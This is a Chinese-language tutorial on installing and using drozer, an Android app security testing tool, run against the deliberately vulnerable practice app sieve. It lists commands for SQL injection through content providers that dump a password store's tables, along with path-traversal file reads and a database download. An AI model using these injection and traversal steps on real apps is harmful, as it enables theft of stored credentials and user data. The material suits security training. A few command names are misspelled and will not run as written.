drozer基本命令
Drozer原名mercury,是一款不错的Android APP安全评估工具。现在有社区版/专业版两个版本
官网: https://www.mwrinfosecurity.com/
使用手册: https://www.mwrinfosecurity.com/system/assets/559/original/mwri_drozer-users-guide_2013-09-11.pdf
工具下载: https://labs.mwrinfosecurity.com/tools/drozer/ or https://github.com/mwrlabs/drozer/releases
环境:
1.Win10专业版_64bit
2.Java_JDK_6u45_64bit
安装包:
1.drozer-agent-2.3.4.apk
2.drozer-installer-2.3.4.zip
3.jdk-6u45-windows-x64.exe
配置文件:
1.drozer_config
测试apk
1.sieve.apk
环境搭建:
1.下载drozer-installer-2.3.4.zip & drozer-agent-2.3.4.apk & sieve.apk
https://www.mwrinfosecurity.com/products/drozer/#downloads
2.解压
unzip drozer-installer-2.3.4.zip
3.安装PC客户端
cd drozer-installer-2.3.4.zip
setup.exe
4.安装Android客户端
adb install drozer-agent-2.3.4 .apk
5.安装测试客户端
adb install sieve.apk
6.创建drozer配置文件
C:UsersAdministrator.drozer_config
[executables]
java = D:Javajdk1.6.0_45injava.exe
javac = D:Javajdk1.6.0_45injavac.exe
运行:
1.运行drozer-agent.apk
2.选择embedded--enable
3.设置端口转发
adb forward tcp:31415 tcp:31415
4.启动drozer console
drozer.bat console connect
注意:
1.Java和drozer的安装目录不能带空格
常用命令:
Package
1.关键字查找包名
命令 run app.pakcage.list -f <keyword>
示例 run app.package.list -f sieve
2.获取应用基本信息
命令 run app.package.info -a <package name>
示例 run app.package.info -a com.mwr.example.sieve
3.确定攻击面
命令 run app.package.attacksurface <package name>
示例 run app.package.attacksurface com.mwr.example.sieve
Activity
4.获取Activity信息
命令 run app.activity.info -a <package name>
示例 run app.activity.inof -a com.mwr.example.sieve
5.启动Activity
命令 run app.activity.start --component <package name> <component name>
示例 run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.MainLoginActivity
Content Provider
6.获取Content Provider信息
命令 run app.provider.info -a <package name>
示例 run app.provider.info -a com.mwr.example.sieve
7.获取所有可访问的Uri
命令 run scanner.provider.finduris -a <package name>
示例 run scanner.provider.finduris -a com.mwr.example.sieve
8.SQL注入
命令 run app.provider.query <uri> [--projection] [--selection]
示例 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
列出所有表 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table‘;--"
获取单表(如Key)的数据 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
9.检测SQL注入
命令 run scanner.provider.injection -a <package name>
示例 run scanner.provider.injection -a com.mwr.example.sieve
10.检测目录遍历
命令 run scanner.provider.traversal -a <package name>
示例 run scanner.provider.traversal -a com.mwr.example.sieve
11.读取文件系统下的文件
示例 run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
12.下载数据库文件到本地
示例 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db